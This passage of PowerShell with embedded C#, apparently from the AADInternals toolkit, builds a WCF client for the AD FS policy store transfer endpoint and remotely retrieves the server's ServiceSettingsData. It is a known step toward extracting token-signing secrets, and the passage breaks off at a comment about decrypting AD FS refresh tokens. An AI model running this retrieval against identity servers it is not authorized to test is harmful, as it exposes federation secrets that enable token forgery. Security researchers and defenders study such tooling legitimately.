[System.ServiceModel.OperationContractAttribute(Action = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore/IPolicyStoreReadOnlyTransfer/GetState", ReplyAction = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore/IPolicyStoreReadOnlyTransfer/GetStateResponse")]
SearchResultData GetState(string serviceObjectType, string mask=null, FilterData filter = null, int clientVersionNumber = 1);
[System.ServiceModel.OperationContractAttribute(Action = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore/IPolicyStoreReadOnlyTransfer/GetHeaders", ReplyAction = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore/IPolicyStoreReadOnlyTransfer/GetHeadersResponse")]
ServiceStateSummary GetHeaders();
[System.ServiceModel.OperationContractAttribute(Action = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore/IPolicyStoreReadOnlyTransfer/GetFarmBehavior", ReplyAction = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore/IPolicyStoreReadOnlyTransfer/GetFarmBehaviorResponse")]
FarmBehavior GetFarmBehavior();
}
public interface IPolicyStoreReadOnlyTransferChannel : AADInternals.IPolicyStoreReadOnlyTransfer, System.ServiceModel.IClientChannel
{
}
[System.Diagnostics.DebuggerStepThroughAttribute()]
public partial class PolicyStoreReadOnlyTransferClient : System.ServiceModel.ClientBase<AADInternals.IPolicyStoreReadOnlyTransfer>, AADInternals.IPolicyStoreReadOnlyTransfer
{
public PolicyStoreReadOnlyTransferClient()
{
}
public PolicyStoreReadOnlyTransferClient(string endpointConfigurationName) :
base(endpointConfigurationName)
{
}
public PolicyStoreReadOnlyTransferClient(string endpointConfigurationName, string remoteAddress) :
base(endpointConfigurationName, remoteAddress)
{
}
public PolicyStoreReadOnlyTransferClient(string endpointConfigurationName, System.ServiceModel.EndpointAddress remoteAddress) :
base(endpointConfigurationName, remoteAddress)
{
}
public PolicyStoreReadOnlyTransferClient(System.ServiceModel.Channels.Binding binding, System.ServiceModel.EndpointAddress remoteAddress) :
base(binding, remoteAddress)
{
}
public SearchResultData GetState(string serviceObjectType, string mask = null, FilterData filter = null, int clientVersionNumber = 1)
{
return base.Channel.GetState(serviceObjectType, mask, filter, clientVersionNumber);
}
public ServiceStateSummary GetHeaders()
{
return base.Channel.GetHeaders();
}
public FarmBehavior GetFarmBehavior()
{
return base.Channel.GetFarmBehavior();
}
}
}
"@
Add-Type -TypeDefinition $WCFClassDefinition -ReferencedAssemblies "System.ServiceModel","System.Runtime.Serialization"
Remove-Variable "WCFClassDefinition"
}
Process
{
# Form the url
$adfsUrl = "http://$Server/adfs/services/policystoretransfer"
# Create the binding object and set the maximum message size & string lenght to same AD FS is using
[System.ServiceModel.WSHttpBinding]$binding = [System.ServiceModel.WSHttpBinding]::new()
$binding.MaxReceivedMessageSize = 20971520
$binding.ReaderQuotas.MaxStringContentLength = 20971520
# Instantiate the client and get ServiceSettings
[AADInternals.PolicyStoreReadOnlyTransferClient]$client = [AADInternals.PolicyStoreReadOnlyTransferClient]::new($binding,[System.ServiceModel.EndpointAddress]::new($adfsUrl))
$result = $client.getState("ServiceSettings")
$client.Close()
# Loop through the results and return the settings
foreach($property in $result.PropertySets[0])
{
if($property.Name -eq "ServiceSettingsData")
{
return $property.Values[0]
}
}
}
}
# Decrypt ADFS RefreshToken